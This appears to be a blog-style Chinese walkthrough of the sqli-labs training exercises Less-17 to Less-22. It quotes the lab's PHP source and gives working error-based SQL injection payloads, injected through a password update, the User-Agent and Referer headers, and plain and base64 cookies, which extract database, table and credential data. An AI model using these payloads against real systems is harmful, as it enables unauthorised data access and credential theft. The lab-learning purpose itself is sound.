Less-17
尝试输入username=1',password=2'
…我人都傻了…继续注入,全返回这图片…

emmm…看下源码吧…
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
function check_input($value)-->贼强的过滤,基本上是没办法绕过的
但是这里没有对passwd进行过滤,应该可以利用,再继续看
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
$row1 = $row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
if (mysql_error())
{
print_r(mysql_error());
}
else
{
echo "<br>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<img src="../images/slap1.jpg" />'; //就是那个歧视语句...
echo "</br>";
}
我们发现,如果username存在且没有注入语句的情况下,可以不显示那个语句…
而且我们可以通过在password里面注入
admin应该都是在的,所以我们以admin为username,password进行注入
username=admin
password=1' or 1=1 #
由于没有回显,考虑报错注入
爆库
1' and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2))) #

爆表
1' and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)))#
爆字段
1' and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2)))#
爆数据
1' and (select count(*) from information_schema.tables group by concat((select concat(username,0x3a,password) from security.users limit 0,1),floor(rand(0)*2)))#
然后就出错了…

而在Less17中update
查询返回的字段数只有1,不足以使count()
后接上concat()
这样一个查询语句,这时候就只能通过派生表再将上一层子查询包裹起来,通过select 1 from (报错的CONCAT子查询) derived_table_name
使注入查询的字段与update
查询的字段数相等!
1' and (select 1 from (select count(*) from information_schema.tables group by concat((select concat(username,0x3a,password) from security.users limit 0,1),floor(rand(0)*2)))a)#
下面是另一种尝试,道理应该是一样的,emmmm
1' and (select count(*) from information_schema.tables group by concat((select concat(username,0x3a,password) from (select *from security.users limit 0,1)) ,floor(rand(0)*2)))#

查阅相关资料
给它一个别名
1' and (select count(*) from information_schema.tables group by concat((select concat(username,0x3a,password) from (select *from security.users limit 0,1)a) ,floor(rand(0)*2)))#
做了这题我在想,不知道多少字段的情况下进行报错注入直接用这个一字节的不就好了?
这个payload__Less-5__可用
Less-18
这题目就是header injection
,然后就对他的header注入…
没啥经验,直接看源码吧…
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
这里抓了uagent
和ip
,可能有注入点
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
看到uname
,和passwd
,都被check_input
,我们之前说过这个自定义的函数很强,基本不存在注入点,uname
,和passwd
应该是注入不了了
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
上面这段告诉我们必须先登进去,才能进入下面的语句,但是我们不知道账号,密码啊…
看了别人的wp,也没说为什么是两个
admin
,就直接用吧…
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
然后看到这个语句,考虑uagent
和ip
注入
但是这里ip是通过抓包修改不的
不能通过X-Forwarded-For修改IP来注入,是因为获取IP则使用了REMOTE_ADDR,这能直接获取TCP协议数据包的底层会话IP地址,它能被代理服务器或路由修改伪造,但非修改XFF头就可以更改的。
那只能在uagent注入了,考虑报错注入
1' and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2)))#
发现注入不了,报错语法错了…
我们发现插入我们的语句后变成了
$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('1' and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2)))#', '$IP', $uname)";
这样就让后面的'$IP', $uname无法插入表中,报错了
所以我们要自己插入ip和uname,然后闭合,于是我们可以构造payload为
1' and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2))),1,1)#

其他语句也是这么插进去就好了
Less-19
登进去之后显示referer:
,考虑referer注入,构造payload,插入referer中
1' and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2)))#
和上面的报一样的错,尝试上面的解决方法
1' and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2))),1,1)#
显示Column count doesn't match value count at row 1
可能是我们插入太多字段了,可能没有第三字段
1' and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2))),1)#
成功爆出数据库,后面的操作就不说了
Less-20
题目就是cookie-injection
登入之后进入这个界面

刷新之后抓包发现cookie=admin
,修改为admin'
就报错,存在SQL注入
由于是Error-based
,直接报错注入
Cookie: uname=admin' and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2)))#
就爆出来了
Less-21
这题也是cookie注入,我们先抓包看看,发现cookie用base64转码了YWRtaW4%3D
,emmm…
这里我直接拿去转码,发现得不到什么结果,然后我把admin
拿去加密,发现YWRtaW4=
,上面不就把最后的=进行url转码了吗
按照Less-20的套路开始操作,admin'
base64转码后为YWRtaW4n

可知是')
闭合,构造payloadadmin') or 1=1#
转码为YWRtaW4nKSBvciAxPTEj
,发现没报错了,闭合成功
接下来就是常规操作了
admin') and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2)))#
YWRtaW4nKSBhbmQgKHNlbGVjdCBjb3VudCgqKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgZ3JvdXAgYnkgY29uY2F0KChzZWxlY3QgZGF0YWJhc2UoKSksZmxvb3IocmFuZCgwKSoyKSkpIw==
后面就不写了,都一样的
Less-22
尝试admin'
,即YWRtaW4n
,没用,报错了
syntax to use near '"admin"" LIMIT 0,1' at line 1
可知是双引号闭合,跟Less-21差不多了,改个符号
本文地址: sqli-labs Less-17 to Less-22